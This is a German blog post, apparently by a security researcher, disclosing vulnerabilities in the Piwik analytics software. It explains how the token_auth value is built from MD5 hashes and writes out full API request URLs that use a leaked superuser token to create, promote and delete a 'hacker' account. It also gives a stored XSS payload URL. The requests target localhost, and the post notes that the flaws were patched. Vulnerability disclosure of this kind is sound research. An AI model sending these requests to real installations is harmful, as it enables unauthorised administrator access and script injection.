Was ich bei meinen Tests in Piwik aber ungleich interessanter fand, ist die CSRF-Lücke die ohne Angriff auf einen Benutzer auskommt, von daher ist es eigentlich gar keine Cross-Site Request Forgery (de.wikipedia.org). CSRF benutzt i.d.R. die Authentifizierung eines angemeldeten Benutzers, der auf einen präparierten Link klicken muss oder eine manipulierte Website ansurft, damit eine Aktion sozusagen in seinem Namen ausgeführt wird.

Schaut man sich die Piwik-Statistik an, ob nun als Anonymous, Administrator oder Superuser, so gibt es in der URL bzw. im HTML-Quellcode den Parameter token_auth. Beim Anonymous ist der Token gleich anonymous, bei den anderen Benutzern ist es ein MD5-Hash. Der Hash wird aus dem Benutzernamen und dem Passwort gebildet.

Plain: 123456789
MD5 Hash: 25f9e794323b453885f5181f1b624d0b

Plain: admin25f9e794323b453885f5181f1b624d0b
MD5 Hash: c561acea86161390fe8bc97a433c20ad

Der token_auth is so geheim wie Ihr Login und Password, teilen Sie es niemandem mit!

Aber per Suchmaschine fand ich innerhalb von wenigen Sekunden genau diesen Token.


In der Benutzerverwaltung von Piwik steckt ein Fehler, der dazu genutzt werden kann um einen neuen Benutzer

• neu zu registrieren,
• seine Zugriffsrechte zu erhöhen und
• ihn auch wieder zu löschen

und dies alles ohne das ein registrierter Benutzer involviert ist. Hierzu bedarf es nur einer Information — den Inhalt von token_auth des Superusers.

Neuen Benutzer anlegen
http://localhost:8888/piwik10/piwik/index.php
?module=API
&method=UsersManager.addUser
&userLogin=hacker
&password=123456
&email=email2%40domain.com
&alias=alias
&token_auth=c561acea86161390fe8bc97a433c20ad

Neuem Benutzer den Status ADMINISTRATOR geben
http://localhost:8888/piwik10/piwik/index.php
?module=API
&method=UsersManager.setUserAccess
&userLogin=hacker
&access=admin
&idSites=1
&token_auth=c561acea86161390fe8bc97a433c20ad

Neuen Benutzer löschen
http://localhost:8888/piwik10/piwik/index.php
?module=API
&method=UsersManager.deleteUser
&userLogin=hacker
&token_auth=c561acea86161390fe8bc97a433c20ad

Ich habe dies alles mal in einem Screencast zusammengefasst. Da ich es etwas zu breit aufzeichnen musste, damit man überhaupt etwas sehen kann, habe ich es auf YouTube hochgeladen: (http://www.youtube.com/watch?v=wTEcToFuFOI)

Andere Aktionen des Superusers werden nur ausgeführt wenn der Superuser eingeloggt ist, daher gehe ich davon aus dass dies wirklich ein Bug ist und kein Feature. ;O)

Evtl. gibt es auch die Möglichkeit mit der XSS-Lücke an den token_auth des Superusers zu gelangen, dies habe ich noch nicht geschafft — aber das Jahr ist ja noch jung. :O)

In diesem Sinne
Frohes Neues Jahr (auch den Programmierluschen <g>)


Update: 18:00 Uhr

Ich habe noch eine XSS-Lücke gefunden. Die erste Lücke ist reflexiv, diese ist persistent und wird in den “Zielen” aktiv:

http://localhost:8888/piwik10/piwik/index.php
?idSite=1
&name=%253Chr%253Exss%253Chr%253E
&matchAttribute=url
&patternType=contains
&pattern=xss
&caseSensitive=0
&revenue=0
&idGoal=
&method=Goals.addGoal
&module=API
&token_auth=c561acea86161390fe8bc97a433c20ad

Diese Lücke ist wieder nur ausnutzbar wenn token_auth bekannt ist. Hierbei muss es aber nicht der Token des Superusers sein — der eines Benutzers mit Rechten eines ADMINISTRATOR reicht aus.

(http://www.youtube.com/watch?v=kAFpDZa53AA)



Update: 02.01.2011 – 10:40 Uhr

Auch wenn ich per Suchmaschine sehr schnell token_auth von Superusern finden konnte, ist die Anzahl der Funde, im Verhältnis zur Verbreitung von Piwik so gering, dass es sich wohl eher um Dummheiten und Missverständnisse auf Seiten der Benutzer handelt, die den API-Code anstatt der Widgets in ihre Websites einfügen.


Update: 04.01.2011 – 15:32 Uhr

“Sicherheits-Update für Web-Analyse-Software Piwik” (heise.de)
Auch die beiden XSS-Lücken und die Full Path Disclosure wurden gefixt.